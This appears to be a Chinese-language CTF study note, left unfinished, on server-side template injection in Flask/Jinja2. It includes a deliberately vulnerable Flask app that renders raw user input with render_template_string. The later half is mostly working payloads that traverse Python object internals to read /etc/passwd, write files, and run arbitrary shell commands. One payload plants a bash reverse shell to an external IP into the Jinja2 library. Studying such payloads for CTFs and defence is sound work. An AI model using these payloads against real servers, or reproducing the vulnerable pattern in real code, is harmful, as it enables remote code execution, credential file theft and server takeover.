SSTI学习
模板引擎
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
SSTI(模板注入)
SSTI 就是服务器端模板注入(Server-Side Template Injection)
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
Python SSTI
介绍
CTF中经常见到的就是Flask框架,而Flask中默认的模板语言是Jinja2,render_template 函数封装了该模板引擎
模板语法主要分两种变量和结构标签
{{}}表示这是一个变量,可以根据用户在模块端给予的参数的不同,进行调整
{% %}这样代表控制语句
控制语句经常使用的for和if
if
{% if title %} <title>{{title}} - microblog</title> {% else %} <title>Welcome to microblog</title> {% endif %}
for
{% for user in users %} <li>{{ user.username|title }}</li> {% endfor %}
SSTI测试脚本:
from flask import Flask, render_template, render_template_string, request,flash app = Flask(__name__) @app.route('/yunying') def hello(): code = request.args.get('ssti') html = ''' <h2>The ssti is </h2> <h3>%s</h3> ''' % (code) return render_template_string(html) if __name__ == "__main__": app.run()
传入{{3*9}}让模板解析
还可以用Flask中常见的几个全局变量去测试比如config,g,session,request去探测是否存在ssti漏洞
利用
python中一切均为对象,均继承object对象
python的 SSTI大部分是依靠基类->子类->危险函数的方式来利用ssti,以下为一些内置方法
__class__
万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>
。
__bases__
以元组的形式返回一个类所直接继承的类
__base__
以字符串返回一个类所直接继承的类
__mro__
返回解析方法调用的顺序
__subclasses__()
获取类的所有子类
__init__
所有自带带类都包含init方法,便于利用他当跳板来调用globals
__globals__
function.__globals__
,用于获取function所处空间下可使用的module、方法以及所有变量
总结:
__dict__ :保存类实例或对象实例的属性变量键值对字典 __class__ :返回一个实例所属的类 __mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __bases__ :以元组形式返回一个类直接所继承的类(可以理解为直接父类)__base__ :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组 // __base__和__mro__都是用来寻找基类的 __subclasses__ :以列表返回类的子类 __init__ :类的初始化方法 __globals__ :返回函数所在模块命名空间中的所有变量 __getattribute__() :获取属性或方法,对模块和类都有效 __getitem__() :以索引取值或者键取值 __builtin__&&__builtins__ :python中可以直接运行一些函数,例如int(),list()等等。 这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__) 在py3中__builtin__被换成了builtin 1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。 2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身
SSTI中主要的目的:
- 执行命令
- 读取文件内容(flag)
执行shell相关函数
//执行shell的模块 import os, commands, platfrom, subprocess //执行shell的函数 os.system('ls') os.popen('ls').read() platform.popen('ls').read() status,output = commands.getstatusoutput('ls') subprocess.call(['ifconfig'],shell=True)
读文件的话
py2中
file对象或者open函数
py3中
没有file对象,只能用open函数
__class__,class用于返回该对象所属的类
__bases __,以元组的形式返回一个类所直接继承的所有类。
__base __,以字符串返回一个类所直接继承的类
__mro __,返回解析方法调用的顺序
可以看到__bases__返回了test()的两个父类,__base_返回了test()的第一个父类,__mro__按照子类到父类到父类解析的顺序返回所有类(python2和python2有区别)
__subclasses __(),获取类的所有子类
__init __
所有自带带类都包含init方法,便于利用他当跳板来调用globals
__globals __
function.__globals __,用于获取function所处空间下可使用的module、方法以及所有变量
__dict__,保存类实例或对象实例的属性变量键值对字典
__getattribute__(),获取属性或方法,对模块和类都有效
python2利用
就放几个常见的payload理解一下
文件读取和写入
#读文件 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} #写文件 {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
任意执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}} {{ config.from_pyfile('/tmp/owned.cfg') }} {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}} {{ config.from_pyfile('/tmp/owned.cfg') }} {{ config['RUNCMD']('/usr/bin/id',shell=True) }} #假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell {{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}
无回显
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}} {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
任意执行只需要一条指令
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}} {{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块) {{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)
#剩下的考完试再写,一个下午基本懂原理和构造方式了,发现有很多文章杂七杂八的,想总结的话比较困难,理解了就会构造了就完事了,其他的就总结下奇怪的姿势就OK了
参考:
https://www.cnblogs.com/-qing-/p/11656544.html
https://blog.csdn.net/weixin_34203426/article/details/86355535
https://www.cnblogs.com/zaqzzz/p/10251892.html
https://blog.csdn.net/qq_40657585/article/details/83657220